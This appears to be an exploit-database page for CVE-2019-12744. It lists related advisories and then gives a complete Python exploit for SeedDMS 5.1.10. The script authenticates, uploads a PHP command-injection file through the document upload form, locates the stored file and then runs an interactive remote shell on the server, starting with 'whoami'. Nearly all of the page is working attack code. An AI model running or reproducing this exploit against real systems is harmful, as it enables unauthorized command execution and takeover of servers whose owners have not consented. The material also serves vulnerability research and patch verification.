| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| SeedDMS versions < 5.1.11 - Remote Command Execution Exploit | 26 Jun 201900:00 | – | zdt | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Seeddms | 24 Jun 202112:58 | – | githubexploit | |
| CVE-2019-12744 | 21 Sep 202104:42 | – | circl | |
| CVE-2019-12744 | 20 Jun 201916:26 | – | cve | |
| CVE-2019-12744 | 20 Jun 201916:26 | – | cvelist | |
| SeedDMS versions < 5.1.11 - Remote Command Execution | 24 Jun 201900:00 | – | exploitdb | |
| Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) | 25 Jun 202100:00 | – | exploitdb | |
| SeedDMS versions 5.1.11 - Remote Command Execution | 24 Jun 201900:00 | – | exploitpack | |
| CVE-2019-12744 | 20 Jun 201917:15 | – | nvd | |
| CVE-2019-12744 | 20 Jun 201917:15 | – | osv |
# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.seeddms.org/index.php?id=2
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
# Version: Seeddms 5.1.10
# Tested on: Windows 7 x64
# CVE: CVE-2019-12744
import requests
import argparse
import sys
import random
import string
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument("-u", "--username", required=True, help="login username")
ap.add_argument("-p", "--password", required=True, help="login password")
ap.add_argument("--url", required=True, help="target URL Path")
args = vars(ap.parse_args())
return args['username'], args['password'], args['url']
def login(sessionObj, username, password, url):
loginPath = "/op/op.Login.php"
url += loginPath
postData = {
'login': username,
'pwd': password,
'lang' : 'en_GB'
}
try:
rsl = sessionObj.post(url, data=postData)
if(rsl.status_code == 200):
if "Error signing in. User ID or password incorrect." in rsl.text:
print("[!] Incorrect Credential.")
else:
print("[*] Login Successful.")
print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])
return sessionObj
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj
def formTokenCapturing(sessionObj, url):
path = "/out/out.AddDocument.php?folderid=1&showtree=1"
url += path
formToken = ""
try:
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
print("[*] Captured Form Token.")
#extracting form token
soup = BeautifulSoup(rsl.text,'html.parser')
form1 = soup.findAll("form", {"id": "form1"})
soup = BeautifulSoup(str(form1[0]),'html.parser')
formToken = soup.find("input", {"name": "formtoken"})
print("[*] Form Token: " + formToken.attrs['value'])
return sessionObj, formToken.attrs['value']
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj, formToken
def uploadingPHP(sessionObj, url, formToken):
path = "/op/op.AddDocument.php"
url += path
#generating random name
letters = string.ascii_lowercase
rand_name = ''.join(random.choice(letters) for i in range(20))
#POST Data
payload = {
'formtoken' : formToken,
'folderid' : '1',
'showtree' : '1',
'name' : rand_name,
'comment' : '',
'keywords' : '',
'sequence' : '2',
'presetexpdate' : 'never',
'expdate' : '',
'ownerid' : '1',
'reqversion' : '1',
'userfile[]' : (
'%s.php' % (rand_name),
open('phpCmdInjection.php', 'rb'),
'application/x-httpd-php'
),
'version_comment' : ''
}
multiPartEncodedData = MultipartEncoder(payload)
try:
rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})
if(rsl.status_code == 200):
print("[*] Command Injection PHP Code Uploaded.")
print("[*] Name in Document Content Shows: " + rand_name)
return sessionObj, rand_name
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj, rand_name
def getDocID(sessionObj, url, docName):
path = "/out/out.ViewFolder.php?folderid=1"
url += path
try:
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
#searching & extracting document id storing payload
soup = BeautifulSoup(rsl.text,'html.parser')
viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})
soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')
rowsDoc = soup.findAll("tr", {"class": "table-row-document"})
for i in range(len(rowsDoc)):
soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')
tdExtracted = soup.findAll("td")
foundDocName = tdExtracted[1].contents[0].contents[0]
#when document name matched uploaded document name
if(foundDocName == docName):
print("[*] Found Payload Document Name. Extracting Document ID...")
tmp = tdExtracted[1].contents[0].attrs['href'].split('?')
docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')
print("[*] Document ID: " + docID)
return sessionObj, docID
#after loops & still unable to find matched uploaded Document Name
print("[!] Unable to find document ID.")
sys.exit(0)
else:
print("[!] Something went wrong.")
print("Status Code: %d" % (rsl.status_code))
sys.exit(0)
except Exception as e:
print("[!] Something Went Wrong!")
print(e)
sys.exit(0)
return sessionObj
def shell(sessionObj, url, docID):
#remove the directory /seeddms-5.1.x
splitUrl = url.split('/')
remLastDir = splitUrl[:-1]
url = ""
#recontruct url
for text in remLastDir:
url += text + "/"
#path storing uploaded php code
path = "/data/1048576/%s/1.php" % docID
url += path
#checking does the uploaded php exists?
rsl = sessionObj.get(url)
if(rsl.status_code == 200):
print("[*] PHP Script Exist!")
print("[*] Injecting some shell command.")
#1st test injecting whoami command
data = {
'cmd' : 'whoami'
}
rsl = sessionObj.post(url, data=data)
if(rsl.text != ""):
print("[*] There's response from the PHP script!")
print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))
print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")
#start shell iteration
while(True):
cmd = input("[Seeddms Shell]$ ")
if(cmd == ".exit"):
print("[*] Exiting shell.")
sys.exit(0)
data = {
'cmd' : cmd
}
rsl = sessionObj.post(url, data=data)
print(rsl.text.replace("<pre>", "").replace("</pre>", ""))
else:
print("[!] No response from PHP script. Something went wrong.")
sys.exit(0)
else:
print("[!] PHP Script Not Found!!")
print(rsl.status_code)
sys.exit(0)
def main():
username, password, url = sysArgument()
sessionObj = requests.Session()
#getting session token from logging in
sessionObj = login(sessionObj, username, password, url)
#capturing form token for adding document
sessionObj, formToken = formTokenCapturing(sessionObj, url)
#uploading php code for system command injection
sessionObj, docName = uploadingPHP(sessionObj, url, formToken)
#getting document id
sessionObj, docID = getDocID(sessionObj, url, docName)
#spawning shell to exec system Command
shell(sessionObj, url, docID)
if __name__ == "__main__":
main()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation